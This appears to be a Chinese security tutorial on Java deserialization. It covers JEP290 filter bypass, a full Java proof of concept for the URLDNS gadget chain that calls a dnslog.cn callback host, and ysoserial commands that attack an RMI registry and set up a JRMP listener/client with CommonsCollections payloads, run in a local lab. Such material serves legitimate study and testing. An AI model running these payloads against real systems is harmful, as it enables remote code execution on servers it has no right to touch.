JJEP(JAVA Enhancement proposa)JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290

黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端

检测反序列化链的深度

在RMI过程中提供了调用对象提供了一个验证类的机制

过滤内容可被配置

JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)二次反序列化思维导图:

URLDNS链URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法.

HashMap对于HashMap这个类来说,他重载了readObject函数,在重载的逻辑中,我们可以看到他重新计算了key的Hash

跟进hash函数,我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS

URLDNS找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址

/*

* @Author: 江霁月

* @Date: 2022-10-03 19:11:15

* @LastEditors: 江霁月

* @LastEditTime: 2022-10-05 10:25:36

* @Description: 请填写简介

*/

package serializable.urldns;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.net.URL;

import java.util.HashMap;

public class Dnstest {

public static void main(String[] args) throws Exception {

HashMap hashmap = new HashMap();

URL url = new URL("http://v0qf5g.dnslog.cn");

Class c =URL.class;

Field fieldHashcode = c.getDeclaredField("hashCode");

fieldHashcode.setAccessible(true);

// 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望

// 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里

// 所以需要修改hashCode值不为-1

fieldHashcode.set(url,1);

hashmap.put(url, 22);

// 反序列化之后还是需要让他发送请求,所以需要改回来

// 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求

fieldHashcode.set(url,-1);

Serializable(hashmap);

}

public static void Serializable(Object obj) throws Exception {

ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));

InputStream.writeObject(obj);

InputStream.close();

}

}

总结首先找到Sink:发起DNS请求的URL类hashCode方法

看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

ysoserial使用java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.bin

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe

下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial

使用idea打开源码包

设置maven为国内源

点击maven->点击扳手->点击maven Settings->User settings file->勾选Override

settings.xml内容为:

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">

alimaven

central

aliyun maven

http://maven.aliyun.com/nexus/content/repositories/central/

repo1

central

Human Readable Name for this Mirror.

http://repo1.maven.org/maven2/

repo2

central

Human Readable Name for this Mirror.

http://repo2.maven.org/maven2/

点击apply->OK

点击刷新按钮,等待下载依赖

点击小锤子,构建项目,如果出现报错:java: 程序包sun.rmi.server不存在和java: 程序包sun.rmi.transport不存在可以不用管

编译项目点击M命令行输入:mvn clean package -DskipTests

编译完成

URLDNS利用打开前面写的Dnstest.java将代码中的dnslog换为自己的,然后序列化恶意数据

反序列化恶意数据,然后dnslog中会显示请求内容

RMIRegistryExploit利用打开环境中的RMIServer.java右键运行

使用ysoserial攻击

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"

JRMPClient利用打开环境中的RMIServer.java右键运行

使用ysoserial攻击

JRMPListener利用生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin

启动JRMP

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"

反序列化

package com.chaitin;

import java.io.FileInputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

public class Unserialization {

public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));

Object obj = ois.readObject();

return obj;

}

public static void main(String[] args) throws Exception{

unserialize("jrmp.bin");

}

}

相关推荐

联想打印机怎么清零
365bet体育投注地址

联想打印机怎么清零

📅 07-03 👁️ 6080
Mobaxterm 中的插件安装与定制化功能
365bet体育投注地址

Mobaxterm 中的插件安装与定制化功能

📅 07-08 👁️ 3543
Adobe Acrobat Pro DC安装教程+激活
365bet体育投注地址

Adobe Acrobat Pro DC安装教程+激活

📅 07-15 👁️ 3306
【oppo mp4】oppo mp4最新信息
365bet体育投注地址

【oppo mp4】oppo mp4最新信息

📅 07-15 👁️ 7522